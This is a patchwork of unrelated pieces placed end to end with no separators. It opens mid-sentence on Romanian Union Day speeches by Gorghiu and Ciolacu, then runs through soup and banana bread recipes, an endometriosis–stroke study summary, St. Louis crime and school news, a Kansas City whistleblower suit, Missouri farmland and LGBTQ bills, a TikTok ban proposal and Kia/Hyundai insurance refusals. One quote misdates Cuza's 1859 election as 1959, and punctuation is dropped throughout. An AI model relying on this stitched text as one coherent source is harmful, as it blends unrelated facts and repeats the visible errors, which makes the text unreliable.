National Defence Minister Angel Tilvar and Defense Staff Chief General Daniel Petrescu also participated in the event. AGERPRES
Acting Senate President Alina Gorghiu sent a message on Tuesday, occasioned by the Romanian Principalities Union Day, stating that the celebration of beautiful events of history shows us, every time, how important it is for politicians to maturely assume the necessary decisions, even difficult ones, so that the country moves in the healthy direction.

"The history of a nation is built year by year, day by day, with the participation of everyone, from the most important person in the state to its most ordinary citizen. However, there are those truly defining moments for the course of history. And 24 January 1959, when the ruler of Moldavia, Alexandru Ioan Cuza, was unanimously elected, overcoming all the rivalries between the political groups, as the ruler of Wallachia represents such a moment,'' Gorghiu stated.

In her opinion, the celebration of some beautiful events in history shows us, every time, how important it is for politicians to maturely assume the necessary, even difficult, decisions, so that the country moves in a healthy direction.

"Bringing to mind now the moment of the Union in 1859, we understand how great is the responsibility of those now to ensure the stability of the country and to take to another stage the modernization programme drafted by the 1848 generation. The memory of remarkable events and the lessons of the past must be a determining factor in the choices and decisions of the present and future. And the courage, determination, wisdom and patriotism of the people of that time, the heroes of the Union of Principalities, let it permanently constitute a worthy example and a source of inspiration for all of us. Happy birthday, Romanians everywhere!," Alina Gorghiu said. AGERPRES
Speaker of the Chamber of Deputies and leader of the Social Democratic Party (PSD) Marcel Ciolacu was booed during the speech he delivered in the Union Square of Iasi, by the persons attending the celebration of the Romanian Principalities Union Day.

"I really love you," Marcel Ciolacu said when catcalls and boos started to be heard from the crowd gathered in the Union Square of Iasi.

"164 years ago, Romanians, people and rulers, wrote the first paragraph of the history of the Romanian unitary national state, a history marked by many difficult moments, a history along which, every time, we proved that only united we can overcome any obstacles. Only together can we create a better future," the speaker of the Chamber of Deputies stated.

The PSD leader brought to mind that 164 years ago, the strong cultural and economic closeness between the two principalities led to unity.

"Then, in 1859, unity did not mean only that the people be united. Unity was also between the leaders, strong personalities with their own visions and different convictions managed to unite in a common goal: the Union of Moldavia with Wallachia," Marcel Ciolacu also said in his speech.

He mentioned that in those times, unity made the difference and brought progress to the country.

"When we were all united, people and leaders, we made Small Union. When we were united, we made Greater Romania. When we were united, we got rid of the dictatorship. All of us, together, united, we managed to feel trustworthy allies in order to defend the security of the country with the accession to NATO and the European Union. Unity is the solution. Together, let us enter the Schengen area. Together, let's develop economically all regions of the country, together pursuing the same objectives. Together, let's continue what we have done in the last year literally, not on paper: the union of all regions of the country through highways. Only together, with the same goal, we can continue to attract more European funds. Together we can also increase the Romanian economy. I urge you to put aside everything that divides us and, united, to pursue with determination our common goals, economic growth and raise the standard of living of Romanians," Marcel Ciolacu said on the stage especially set up in the Union Square of Iasi for the celebration of the 164th anniversary of the Union of the Romanian Principalities. AGERPRES
Speaker of the Chamber of Deputies Marcel Ciolacu stated on Tuesday that the Moldavia Highway fulfills the dream of Focsani residents to finally unite with the rest of the country and will boost the economic development of the region, told Agerpres.

"164 years ago, here, in Focsani, the first paragraph of the history of the Romanian unitary national state was written. A history marked by many difficult moments, a history along which we, Romanians, proved every time, that only united we can overcome any obstacle, that only together we can create a better future. The union of Moldavia with Wallachia and then the abolition of the border here, from this Square, created the premises of Greater Romania. It was a process based on strong cultural and economic closeness between the two principalities, which also needed political concretization. Currently, we are at the stage where the political form must be doubled by perseverance and firm involvement in the economy of the regions that inherit the old principalities. Therefore, the start of the works in 2022 at Moldavia Highway fulfills the dream of Focsani residents to finally unite with the rest of the country. At the same time, the investment will boost the development of the region and increase the economic power of the cities of this part of the country, including Focsani. Because only through unity, solidarity and common projects we all are stronger. That's the only way we'll be able to overcome all the economic disturbances caused by the pandemic we've been through and the unjust war that's still being waged at our borders," Marcel Ciolacu stated.

He also mentioned the booing he witnessed, on Tuesday morning, at the events held in Iasi dedicated to the Union of the Romanian Principalities.

"I hope with all my heart that together we convey at home, each one, what this national day represents, so that we do not have to answer at home to our children, our grandchildren, our younger brothers and sisters why it was necessary to boo in such a day and I hope that a response 'Because we were asked to do so by the party' shall be forgotten in the future of Romania and we shall understand the purpose and the privilege we all have to be here today, in the square," Ciolacu stated.

Marcel Ciolacu attended on Tuesday, in Focsani, the events dedicated to the 164th anniversary of the Romanian Principalities Union, alongside Prime Minister Nicolae Ciuca, French Ambassador in Romania Laurence Auer and other representatives of the Government and Parliament.
Yield: 6 cups

1 quart (4 cups) very thinly sliced peeled yellow onions

6 tablespoons unsalted butter

1 teaspoon kosher salt

1/3 cup all-purpose flour

6 cups rich chicken stock

1 tablespoon sherry vinegar

1/8 teaspoon ground black pepper

12 slices toasted bread or crostini to fit in soup bowls

3 cups grated Comte, Gruyere or Swiss cheese

Fresh chives for garnish

1. Thinly slice the onions and place in a large bowl. Toss to separate the rings and set aside.

2. Melt the butter in a 5-quart pot over medium low heat. Add the onions and salt.

3. Caramelize the onions very slowly over medium-low heat. It will take 30 to 50 minutes or more, stirring occasionally as needed.

4. As the onions cook they will release water, but if you notice sticking to the pan, add small amounts of water to prevent burning and release any flavorful pieces that develop on the bottom of the pan.

5. You want the onions to reach a deep brown  almost the color of bourbon. At that point they are fully caramelized.

6. Sprinkle the flour evenly over the cooking onions, stirring it in completely to evenly distribute the flour. You dont want lumps in the flour before you add the stock next.

7. Pour 2 cups of stock over the onions, whisking as you go. Add the remaining 4 cups of stock in 2 cups at a time, whisking still to make sure no lumps are forming that need to be stirred down.

8. Bring the soup to a simmer and allow it to cook for 30 minutes longer, stirring occasionally, then stir in the sherry vinegar and ground pepper.

9. Turn the broiler on to medium high.

10. Portion the hot soup into 6 oven-proof bowls. Arrange 2 pieces of toasted bread on the surface. Top each bowl with  cup of grated cheese, taking care to cover the bread.

11. Place under the broiler to melt the cheese. Keep a good eye on this as it only takes a few minutes, 2 to 4 minutes depending on the broiler.

12. Garnish each bowl with chopped chives.

Per serving: 622 calories; 34g fat; 19g saturated fat; 97mg cholesterol; 29g protein; 50g carbohydrate; 11g sugar; 3g fiber; 1,225mg sodium; 660mg calcium

To print the recipe, click here, then click the printer icon.
While some people insist on chocolate in their banana bread, I much prefer nuts  walnuts, to be exact. Theyre a buttery, crunchy counterpart to the sweet and tender crumbs of the classic quick bread. This particular version is packed with them. Combined with a boost of flavor from brown butter and some extra moisture, thanks to a generous spoonful or two of yogurt, this is sure to be a banana bread recipe youll turn to again and again.

Tips for making walnut banana bread

Reach for your speckled bananas. The riper the bananas, the better when it comes to banana bread. Itll result in a deeper banana flavor. However, if your bananas show any signs of mold or smell off, they shouldnt be used.

Use a lot of walnuts, but not too many. While testing, we confirmed that 2/3 cup is perfect. Its a generous amount that ensures youll get walnut in every bite without having the loaf fall apart when sliced.

Toast the walnuts. Toasting the nuts before adding them to the batter draws out their deep, earthy flavor.

Banana Walnut Bread

Serves 8 to 10; makes 1 (9-by-5-inch) loaf

4 tablespoons unsalted butter

2/3 cup raw walnut halves or pieces (about 2 1/2 ounces)

3 very ripe large bananas (about 1 pound)

1 large egg

2/3 cup packed light or dark brown sugar

1/3 cup whole milk Greek or regular plain yogurt

1/4 cup neutral vegetable oil, such as canola or grapeseed

2 teaspoons vanilla extract

1/2 teaspoon kosher salt

1 1/2 cups all-purpose flour

1 teaspoon baking soda

1. Arrange a rack in the middle of the oven and heat the oven to 350 F. Line a 9-by-5-inch loaf pan with parchment paper to form a sling that hangs over the two long sides.

2. Cut 4 tablespoons unsalted butter into two pieces. Place in a small skillet over medium heat and cook, stirring occasionally, until the butter is toasted brown and has a nutty aroma, 4 to 5 minutes. Immediately scrape the browned butter and the solids into a large heatproof bowl. Set aside to cool while you toast the walnuts.

3. Arrange 2/3 cup raw walnuts in an even layer on a rimmed baking sheet. Bake, stirring halfway through, until lightly browned and fragrant, 8 to 10 minutes total. Transfer to a cutting board and let cool while you make the batter.

4. Add 3 peeled, ripe bananas to the bowl of brown butter and mash with a fork or potato masher until smooth. Add 1 large egg, 2/3 cup packed brown sugar, 1/3 cup whole milk Greek or plain yogurt, 1/4 cup vegetable oil, 2 teaspoons vanilla extract, and 1/2 teaspoon kosher salt. Stir with a flexible spatula until combined.

5. Add 1 1/2 cups all-purpose flour and 1 teaspoon baking soda. Stir with the spatula until just incorporated with no streaks of flour. Coarsely chop the walnuts, add to the batter, and fold until just combined. Transfer to the loaf pan and spread into an even layer.

6. Bake until a toothpick inserted in the center comes out mostly clean with a few moist crumbs attached, 55 to 65 minutes. Let cool for 10 minutes in the pan. Grasp the parchment paper sling and lift the bread out of the pan onto a wire rack. Let cool completely before slicing, about 1 hour.

Recipe notes

Store in an airtight container at room temperature for up to four days. The bread can also be wrapped tightly in aluminum foil and frozen for up to three months.
TUESDAY, Jan. 24, 2023 (HealthDay News) -- Endometriosis has a causal link to ischemic stroke, according to a research letter published in the February issue of Stroke, a theme issue focused on the topic of cerebrovascular diseases and women, in conjunction with the American Heart Association Go Red for Women initiative

Ming Zheng, M.D., Ph.D., from the Academy of Military Medical Sciences in Beijing and Shaoping Zheng, from the Beijing Institute of Basic Medical Sciences, examined genetically determined endometriosis in a stroke cohort with 521,612 participants. Genetic instruments of single nucleotide polymorphisms for endometriosis were selected from an endometriosis cohort of 77,257 participants. A total of 46 single nucleotide polymorphisms were selected with an average F statistic of 38.7. The risk for stroke was examined following endometriosis using Mendelian randomization (MR) analysis.

The researchers found that endometriosis was significantly associated with increased risks for ischemic stroke, including total and cardioembolic ischemic stroke. Risks for ischemic stroke were significantly increased for endometriosis subtypes of the ovary, pelvic peritoneum, rectovaginal septum, and vagina and occurring infertility. Causality was most significant for infertility-related endometriosis and cardioembolic ischemic stroke. This causal effect was significant across different MR tests.

"We strongly suggest a shift in the perception of endometriosis from a purely gynecological disease to a complex systemic disease involving increased stroke risk," the authors write.
UPDATE: This story was updated at 9 p.m. Monday with a statement from Lyft.

ST. LOUIS  Prosecutors on Friday charged a Lyft driver with assaulting a passenger in an alley earlier this month.

Qandagha Raufi, 32, of the 3900 block of Keokuk Street, picked up a woman at South 15th and Market streets in Downtown West at around 2:50 a.m. Jan. 8, according to charging documents. He then drove south, against the woman's wishes to go to Jennings, and pulled over in an alley near Meramec Street and South Compton Avenue.

Police said he then assaulted her. The woman went to South City Hospital where authorities collected her clothing to be tested. She also provided a receipt of the Lyft ride, according to court documents.

Raufi was charged with first-degree sexual abuse, third-degree kidnapping and misdemeanor sexual misconduct.

A judge ordered him held without bond. An attorney was not yet listed for Raufi in charging documents.

A spokesperson for Lyft said the company revoked the driver's access to the platform, reached out to the passenger and would help with the police investigation.

"Safety is fundamental for Lyft, and the behavior described is reprehensible and has no place on the Lyft platform," the spokesperson said.

Raufi is not the first Lyft driver in St. Louis to be charged with assaulting a passenger.

In 2019, prosecutors charged a driver with first-degree rape and kidnapping after prosecutors say he picked up a woman from downtown, pulled into an alley and assaulted her after she fell asleep. The woman filed suit in 2020 against the company and the man who was charged with raping her. Both the criminal and civil cases are ongoing.
KANSAS CITY, Mo.  Kansas City officials argue that lying to the media is not against the law and should not be the basis of a whistleblower complaint filed against the city by its former top spokesperson.

The city filed a motion in Jackson County Circuit Court last week seeking the dismissal of a lawsuit filed by Chris Hernandez, the citys former communications director. In his suit, Hernandez alleged that he was demoted for refusing to lie to the Star and other local news organizations about city projects and services at the behest of City Manager Brian Platt.

In its motion, the city argues that lying to the press is not a violation of any law, rule or regulation.

Despite the respected place that the press has as the fourth estate of American politics, there is no law concerning false disclosures to the press, the citys motion reads. Nor is there a rule or regulation set forth by any governmental entity, including the city, that governs false disclosures to the press.

In his original lawsuit, Hernandez said he was not willing to put his credibility on the line for Platt, alleging the city manager instructed staff to lie as part of a media strategy.

Hernandez is suing the city for damages under a Missouri law that protects whistleblowers, saying he lost his job for telling Platt that he should not be dishonest to the news media and the public. But the citys motion argues that Hernandez does not meet the definition of a whistleblower under Missouri law and asks for dismissal of the lawsuit.

Whistleblower laws protect employees who disclose information about prohibited activities, the city argues, and Hernandez only relayed his opinions to Platt.

To be clear, the city does not endorse lying to the press, nor did it lie, but even if it does and it did, such an act is not a violation of any law, rule, or regulation and it does not qualify as a disclosure under Missouri law, the citys filing reads.

The citys filing also notes that Hernandez has not accused the city manager of lying to the media.

At best  and something the city will vehemently deny if required to do so through litigation  Mr. Platt asked why he couldnt lie to the media, the citys motion reads.

The citys response did not deter the plaintiff.

I feel confident we can overcome the motion to dismiss, said Lynne Jaben Bratcher, the attorney representing Hernandez.

The lawsuit stemmed from the citys communication strategy regarding street resurfacing and pothole repairs.

In the lawsuit, Hernandez alleged that Platt called a meeting with communications employees at his downtown office in January 2022 and discussed strategies for handling Kansas City news media. During that meeting, Platt allegedly raised the prospect of lying as a legitimate media strategy.

In the spring, the city communications team prepared a press release regarding how many miles of city streets would be resurfaced based on funds available in the upcoming fiscal year.

A drafted press release stated nearly 300 lane miles, according to the lawsuit; Platt had the communications team remove the word nearly. Days before the event, the lawsuit alleges Platt knowingly inflated the benefits of the project on social media by saying the city would be repaving 400 plus lane miles.

Our summer of street resurfacing is well under way. 400+ miles planned for this spring and summer! But whats under the old asphalt is sometimes something more special: 100+ year old brick pavers and original street car track here on Brooklyn Ave! Platt wrote in a May 6 Twitter post.

Hernandez alleges that he was concerned the city manager was lying about this number, as no other staff were aware of an increase in the miles to be paved.

The lawsuit also referenced a May story in The Star regarding the citys work on potholes. Hernandez claims Platt was angry about the story, and instructed staff to call the newspaper and say that the numbers were wrong when they were actually correct.

During a meeting at a Kansas City coffee shop, Hernandez says in his lawsuit, he was asked by Platt why another member of the communications team had resigned and other staff members were leaving. Hernandez says he told Platt many were upset with the way they were being treated.

The following month, the lawsuit says, Hernandez was told by Platt that he did not possess the shared vision for the communications department and was reassigned.

Hernandez, a former television reporter who worked in the city communications department for a decade, is now a special liaison officer in the citys civil rights and equal opportunity department.

The Stars Bill Lukitsch contributed to this story.
Technip Energies, a leading engineering and technology company for energy transition, said it has been awarded a major contract by Saudi oil giant Aramco for the upgradation of sulphur recovery facilities at its refinery in capital Riyadh.

The scope of work includes implementation of three new tail gas treatment (TGT) units as well as help boost the performance of existing three sulphur recovery units (SRU) mainly to comply with more stringent regulations for sulphur dioxide emissions, with recovery efficiency at more than 99.9%, said a statement from Technip Energies.

The project will be executed locally, leveraging Saudi economic resources and infrastructure. The existing sulfur recovery units in the Riyadh refinery were designed and built by Technip

Energies in the early 2000s, it added.

This comes as part of the engineering group's long-term agreement with Aramco, said a top official.

"We are pleased to be entrusted by Aramco to work on the upgrading programme of their refinery in Riyadh," remarked Bhaskar Patel, the Senior Vice President (Sustainable Fuels, Chemicals & Circularity) at Technip Energies.

"By leveraging our long-standing relationship, which has been in place since the mid-1990s, we are committed to make this project another success, while utilizing local resources and supply chain," he added.

A global leader in energy transition, Technip Energies enjoys leadership positions in Liquefied Natural Gas (LNG), hydrogen and ethylene, as well as growing market positions in blue and green hydrogen, sustainable chemistry and CO2 management.-TradeArabia News Service
Story updated at 3:45 p.m. Jan. 24 with sentencing recommendations.

CLAYTON  The trial over the death of a Bridgeton woman killed by a stranger in 2020 while driving on I-170 to meet a church friend ended Monday with a manslaughter conviction.

Calvin Pittman faced a higher charge of first-degree murder, but a St. Louis County jury found him guilty of the lesser count of voluntary manslaughter Monday evening, along with three other weapons offenses.

Jurors recommended a total sentence of 21 years in prison in the case Monday.

Pittman, 32, of Ferguson, shot and killed Kristen Whitted, a 46-year-old mother, and grandmother, on Interstate 170 near Olive Boulevard the afternoon of Nov. 30, 2020, the jury found.

Both Pittman and his wife took the stand to argue he was shooting in self-defense after another enraged driver pulled a gun on him and fired shots first.

Pittman told jurors he stopped in the middle of the highway to let the car pass him and fired. His wife, 2-week-old infant and 2-year-old child were in the car with him during the shooting and he worried for their safety, he testified.

Assistant Prosecuting Attorney Robert Steele emphasized that Pittman never reported the shooting to police until he was arrested at his home four days later. Pittman's car showed no evidence of being hit by gunfire, Steele said.

"It's like someone claiming they went to Mars and saw a three-eyed dog," Steele said during closing arguments. "You know it's a lie."

Steele asked jurors to disregard Pittman's story.

"The truth matters," Steele said. "This woman's life matters. He took her life."

Defense attorney Nick Zotos argued Pittman was shooting to protect his family.

"Everyone here, if they were shot at and had a gun, would shoot back if they could keep it together," Zotos said in closing arguments.

Zotos argued the other vehicle had been "hunting" Pittman's car down the highway. He emphasized that police never found the driver of that car or searched north of the shooting scene to find evidence of earlier gunshots.

Officers with the Major Case Squad testified in the trial that they tracked Pittman's vehicle after the shooting to SSM St. Mary's Hospital, where Pittman's wife had a doctor's appointment.

Detectives found Pittman through a partial license plate captured on surveillance images.

He was arrested several days later, and police found the Glock .40-caliber pistol used in the shooting hidden in the wall of a basement bedroom in his home.

Whitteds brother Fred Whitted took the stand to identify his sister on the first day of testimony in court.

He recalled getting a call from his mother the day his sister was killed.

"I just hung up the phone and started screaming and crying," Fred Whitted testified.

Fred Whitted told the Post-Dispatch in 2020 that his sister had a 16-year-old daughter, a 29-year-old son and a 1-year-old grandson at the time of her death. She worked in information technology at SSM Health.

A GoFundMe raised more than $47,000 in donations to help support her teenage daughter after the killing.

By anybodys standards, we did everything right. My sister did everything right, Whitted said in 2020. This act of aggression, this act of recklessness, of thoughtlessness, it took away my family.

Pittman had not yet been sentenced in the case by Friday evening.
EUREKA  Two more Rockwood School District administrators have resigned, the fourth and fifth high-profile leaders to leave the district in the last two years.

Aisha Grace, director of educational equity and diversity, resigned after less than a year on the job.

And Chief Financial Officer Paul Northington is leaving in June to move to a smaller district as executive director of finance and school operations.

The resignations come to a district where parents have over the past two years challenged administrators over decisions related to COVID-19, district spending, and equity and diversity initiatives. Three other key leaders left recently, citing community pressure, including taunts and threats that led the district to increase security at board meetings.

Weve lost a lot of staff in a short time, said Rockwood parent Jane Leahy-Smith, part of the Rockwood Equity Parent Advisory Council, which had been overseen by Grace.

A district spokeswoman confirmed the Board of Education accepted both resignations at a meeting Thursday but declined further comment.

Grace and Northington are at least the fourth and fifth administrators to resign from Rockwood since 2021.

Brittany Hogan, Graces predecessor, resigned in the spring of 2021 after one year on the job. Former Superintendent Mark Miles retired at the end of that school year, after two years there. And Terry Harris, former executive director of student services, resigned in December after 17 years with the district.

Harris and Hogan, who are both Black, had said they were subjected to repeated threats and taunts.

The turmoil often landed Rockwood in local and national headlines as a focal point of political conflicts in school districts across the country, including a controversial Board of Education vote to end three diversity programs in the weeks before Harris resignation.

But Northington, 62, said Monday that the events of the past two years had no impact on his decision to leave Rockwood.

Rockwood is a great school district, he said. Its been a great place to work and I have nothing but fond memories working there.

Northingtons salary at Rockwood was $205,223, according to public records. His salary at his new job, in 1,300-student Hancock Place School District, will be $160,000.

Northington began his career in 1997 with the New Madrid County school district in southeast Missouri.

He served as finance director at Hancock from 2007 to 2017, when he was hired at Rockwood.

He said on Monday that he decided to return to Hancock when the position of CFO opened a few weeks ago, in part because of his past decade there working with administrators including Superintendent Kevin Carl.

For me, its kind of like going home, he said.

Grace, whose last day was Jan. 13, could not be reached for comment. Grace's salary was just under $131,800.

Her departure along with Harris leaves two vacancies in the schools Student Services department, which helps address a wide array of student issues including diversity, safety, counseling, and student health and wellness.

Leahy-Smith, the parent in the equity advisory council, said shes concerned the vacancy will leave the council without direction.

Northington and Grace were both amazing assets to the district and that she was sad to see them depart, Leahy-Smith said.

But she wasnt surprised.

Community pushback to district decisions played a role in the politics, structure and environment administrators work in, she said.

It eventually takes its toll, she said.

Updated Tuesday with current salary figures provided by the Rockwood School District.
JEFFERSON CITY  A push to ban foreign companies from owning farmland in Missouri is facing pushback from major industry groups.

In the first of what could be multiple hearings on legislation to prohibit the further acquisition of acreage by foreign entities, the Missouri Association of Realtors and the Missouri Chamber of Commerce and Industry signaled Tuesday they oppose the Republican-sponsored plans.

We dont think its the place of government to get involved in private business transactions, said Sam Licklider, lobbyist for the Missouri Association of Realtors.

At issue are three Senate bills heard in the Agriculture Committee. Each seeks to limit foreign ownership of Missouri agricultural land on the grounds of food security and national security.

Sen. Jason Bean, R-Holcomb, who chairs the panel, said his plan would cut ownership limits from the current 1% to 0.5%.

His plan also would bar ownership by individuals or businesses from certain countries, including China, Russia, North Korea, Iran and Venezuela.

Beans plan has support from Secretary of State Jay Ashcroft, a Republican who is expected to run for governor in 2024.

His office would be in charge of tracking foreign ownership, while the Missouri attorney generals office would enforce the law.

A similar measure sponsored by Sen. Rusty Black, R-Chillicothe, would ban new foreign ownership beginning next year. Sen. Bill Eigel, a Weldon Spring Republican who also is mulling a run for governor, also presented a version of the ban.

Missouri ought to be owned by Missourians, or at least Americans, Eigel said.

But, Sen. Tracy McCreery, D-Olivette, said she was concerned about a provision in Eigels proposal barring foreign ownership of residential property, particularly for workers at companies like Germany-based Bayer, which is in her district.

The St. Louis-area is the North American headquarters for Bayers crop science division.

The renewed push comes after the issue became a flashpoint in Missouris recent U.S. Senate election. Democrat Trudy Busch Valentine criticized Republican Eric Schmitt for voting as a state senator in 2013 to allow the sale of Missouri farmland to communists in China.

Before a Chinese company acquired Smithfield Foods, Missouri banned all foreign ownership of agricultural land. That rule was changed to allow foreign entities to own up to 1% of the states farmland.

Missouris law against foreign agricultural ownership dates to 1978, when increased foreign investment in the U.S. was creating concerns about economic autonomy. The law said no foreign entity could own farmland in Missouri.

Since the law was changed, Smithfield now operates 132 company-owned farms and 109 contract farms along with a pork facility in Milan.

While powerful lobbying groups like the Chamber and the Realtors oppose the measure, the Missouri Farm Bureau supports the concept. Bean said the trio of bills could be merged and forwarded to the full Senate for further debate as early as next week.

Smithfield and other farm-related groups, meanwhile, have been heavy contributors to politicians and political action committees.

In 2022, for example, the PAC for the Missouri Pork Association received $75,000 from Smithfield. In 2020, the MO-PORK PAC netted $76,000 from the company.

The legislation is Senate Bills 9, 55 and 76.
JEFFERSON CITY  Missourians descended Tuesday on the Capitol to speak out against a wave of Republican-backed bills aimed at transgender children and drag shows, what one advocacy group characterized as a direct hate attack on the states LGBTQ community.

GOP lawmakers placed eight LGBTQ-related bills on the agenda for a Tuesday hearing of the House General Laws Committee. In the Senate, lawmakers considered legislation to keep transgender girls out of girls sports.

The timing of the hearings so early in the Legislatures annual session reflected the priority Missouri Republicans have placed on addressing controversial culture war topics ahead of the next election.

Secretary of State Jay Ashcroft, a Republican weighing a bid for governor in 2024, testified in favor of House legislation to ban transgender girls from girls sports, suggesting it was a matter of fairness.

The science is clear, Ashcroft said. Im not saying that men are superior to women, but genetically men have a better bone mass. They generally have stronger muscle mass. Theyre generally faster. Theyre generally stronger.

His appearance at the legislative hearing drew sharp criticism from Democrats.

This is not in the realm of what your office does, said Rep. Peter Merideth, D-St. Louis. Im seeing you here, and that suggests maybe its actually about the fact that youre running for governor.

PROMO, which advocates for LGBTQ Missourians, called the crush of bill hearings Tuesday a direct hate attack on the community.

In PROMOs 36-year history of LGBTQ+ advocacy, weve never seen this many bills attacking LBGTQ+ Missourians scheduled for one day, said Katy Erker-Lynch, executive director of the group. It is a clear sign that keeping our community from thriving in this state is the most urgent policy priority of this legislative body.

House Minority Leader Crystal Quade, D-Springfield, criticized Republicans for giving people only 25 hours notice that the legislation would be heard in the committee.

Im pissed off about that, Quade said. Im tired of politics being used against the people in this state.

Among the eight bills the House General Laws Committee was scheduled to consider at a hearing that stretched late into Tuesday evening:

 Three bills that aim to stop transgender girls from playing girls sports.

 Two bills would attempt to criminalize the presence of minors at drag shows.

 Three others to prohibit physicians and hospitals from providing gender-affirming care for individuals younger than 18.

Anti-woke

Echoing similar so-called anti-woke initiatives in other GOP-led states, members of the Missouri House and Senate majority have filed a record number anti-LGBTQ bills this year, according to a national database compiled by the American Civil Liberties Union.

The focus on sexual development issues among youths is similar to a state law passed last year that attempts to limit teen access to library books that may have sexual themes. That law has led to the removal of books from schools across the state.

Democrats and opponents of the bills say Republicans are attempting to malign the LGBTQ community to win political points over issues that affect very few people.

Last year, for example, only one transgender student applied to the Missouri State High School Activities Association (MSHSAA) to compete based on their gender identity.

In Missouri we have trans kids who already dont fit in, said Justice Horn, chair of the Kansas City LGBTQ Commission, who said a Senate bill restricting transgender athletes is going to steal an opportunity for them to try to fit in.

Were moving heaven and earth to victimize and target trans youth, Horn said. You cant even count, you know, all the trans athletes in this state on two hands.

Republicans say their proposals to prohibit such competition will prevent women from being put at a disadvantage during sporting contests.

Its not targeting trans youth, said Sen. Andrew Koenig, R-Manchester. No one has a problem with a woman who transitions to a man competing in mens sports.

It is just simply not fair for men to  even if theyre taking hormone treatment  it doesnt change their height, he said. It doesnt change their biology.

The Senate committee didnt advance transgender athletes legislation Tuesday, but approved a parents bill of rights proposal and a plan to ban public grade school classes on critical race theory, which the bill doesnt define.

House bills

The House General Laws Committee on Tuesday evening was hearing three bills to prevent transgender girls from playing on girls sports teams.

Girls opportunities are being taken away from them by biological males, said Rep. Brian Seitz, R-Branson. To ignore the competitive advantage that men have against women in many sports is to ignore biological reality.

Seitz said he hadnt read the MSHSAA policy on transgender athletes, which doesnt allow transgender girls to compete on girls teams until they complete one year of hormone treatment as long as they continue treatment.

There is a direct correlation between archaic, bigoted policies and the poorest states in this country, Rep. Keri Ingle, D-Lees Summit, said. This type of legislation will decrease economic growth in this state.

I wouldnt characterize them as the poorest states in the nation, especially states like Texas, Rep. Renee Reuter, R-Imperial, said of other states that had enacted similar legislation.

Bills limiting medical care for transgender youths were also on the agenda.

Advocates for transgender minors say decisions about health care should be left to the individual, their parents and their physicians.

On drag shows, Rep. Ben Baker, R-Neosho, wants to ban adult cabaret performances, which would include male or female impersonators who provide entertainment that appeals to a prurient interest, in a public location or a place where a minor could see the performance. Baker is a former administrator at a southwest Missouri Bible school.

The offense of engaging in an adult cabaret performance would be a class A misdemeanor on a first offense and a class E felony for subsequent offenses.

Rep. Mazzie Boyd, a first-year Republican from Hamilton, wants to classify drag venues as a sexually oriented business. Boyd worked in the Trump administration and for Republican U.S. Rep. Marjorie Taylor Greene of Georgia.

Tuesdays hearings followed a dispute between Republicans and Columbia officials after drag show performers participated in a Martin Luther King Jr. Day event in the mid-Missouri city that was attended by students.

Gov. Mike Parson and Attorney General Andrew Bailey issued statements criticizing the adult performance, which was described by participants as G-rated community gathering.

A spokeswoman for the Columbia Public Schools said two complaints from parents of children in attendance were made, and the district said students from private schools also attended, the Columbia Daily Tribune reported.

Any characterization of the Columbia Values Diversity Breakfast as child endangerment or having a sexual nature or violating state law is categorically false, Columbia Superintendent Brian Yearwood wrote to Parson, adding the program was not an adult performance. This type of misrepresentation is harmful to our students, our staff, and our community.

At a rally in the Capitol Rotunda prior to Tuesdays hearing in the House, at least four drag queens were in attendance.

More on these issues
WASHINGTON  U.S. Sen. Josh Hawley said Tuesday he will introduce a bill to ban the app TikTok in the United States.

Missouris senior senator called the social media site Chinas backdoor into Americans lives and a threat to our childrens privacy as well as their mental health.

The bill would be part of Hawleys larger messaging campaign in opposition to the Chinese Communist Party and large social media companies. While he has also signed on to antitrust legislation in the hopes of breaking up monopolies in tech companies, hes been particularly aggressive in his opposition to TikTok.

The app, which boasts more than 1 billion users across the globe, is known for its short videos and powerful algorithm that helps people discover new content. It is popular among younger Americans and has helped grow the careers of influencers and pop stars, like Lil Nas X.

Brooke Oberwetter, a spokeswoman for TikTok, was critical of Hawleys bill, saying it wouldnt do much to address the concerns the senator raised.

Senator Hawleys call for a total ban of TikTok takes a piecemeal approach to national security and a piecemeal approach to broad industry issues like data security, privacy, and online harms, Oberwetter said. We hope that he will focus his energies on efforts to address those issues holistically, rather than pretending that banning a single service would solve any of the problems hes concerned about or make Americans any safer.

But experts warn that the amount of data being collected by ByteDance, the Beijing-based company that owns TikTok, could be used by the Chinese Communist Party. FBI Director Christopher Wray told Congress last year he had security concerns about the app.

It is difficult for a country to ban an application like TikTok, as its a form of internet censorship. Former President Donald Trumps attempts to ban the app in 2020 were challenged in the courts until President Joe Biden dropped the ban.

Last month, however, the app was banned from federal government devices when a previous bill sponsored by Hawley was included in the federal governments $1.7 trillion spending bill. Hawley did not support the bill, which was signed into law by Biden.

At least 15 states have also attempted to ban the app from government devices.

Missouri Gov. Mike Parsons office has said current state computer policies already limit its use.

In Missouri, TikTok is already not allowed to be downloaded on state phones nor do any state phones have it, spokeswoman Kelli Jones told the Post-Dispatch in December.
ST. LOUIS  Two major insurance companies have refused to issue new policies on some Kias and Hyundais in the St. Louis region as theft rates of those vehicles remain high following last years surge.

In a seemingly unprecedented move, insurance behemoths such as Progressive and State Farm are declining to open new policies on Kias and Hyundais altogether, while drivers with existing plans are stuck paying increasingly high premiums.

Ive been in this industry for 15-plus years. Its hard to call a precedent for this, said Michael Barry, spokesman for Insurance Information Institute, a consumer education organization.

Rates of stolen Kias and Hyundais exploded last year  a trend also seen nationally because of a viral TikTok video that shows how to break into and drive off in many 2011-21 models of the South Korean-made vehicles using just a screwdriver and a USB charging cable. The method can be used on some models of those cars because manufacturers did not install engine immobilizers, an electric anti-theft security device.

Thefts of Kias and Hyundais jumped 1,350% last year in the city, from 273 to 3,958. The same was true in St. Louis County, where a jump from 140 to 1,621 marked a 1,057% increase.

Florissant resident Dru Dickerhoff said he began shopping around for a better rate on his 2016 Kia Soul after his latest six-month premium with American Family Insurance was $150 more than when he and his wife bought the car new in 2016.

My wife and I have great credit, payment history, we pay six-month premiums, we have no claims and no accidents on this Kia  essentially your perfect insurance customer in all respects, he said. I wasnt expecting it to get turned down.

Both State Farm and Progressive declined to offer Dickerhoff any coverage.

When Kia and Hyundai owners in the St. Louis area apply for a quote online, Progressive automatically issues a denial message: Based on the vehicles make and model, and high theft rates in the area, the company is unable to offer a policy. That same message pops up for drivers in other parts of the country where theft rates are particularly high, said Jeff Sibel, a spokesperson for Progressive.

The company made the decision to stop offering new policies in November, said Jim Kirn, owner of KIRNCO Insurance in St. Louis, which sells Progressive insurance.

State Farm made a similar decision to decline new policies in November, said State Farm salesperson Josh Franklin. A corporate State Farm spokeswoman declined to comment.

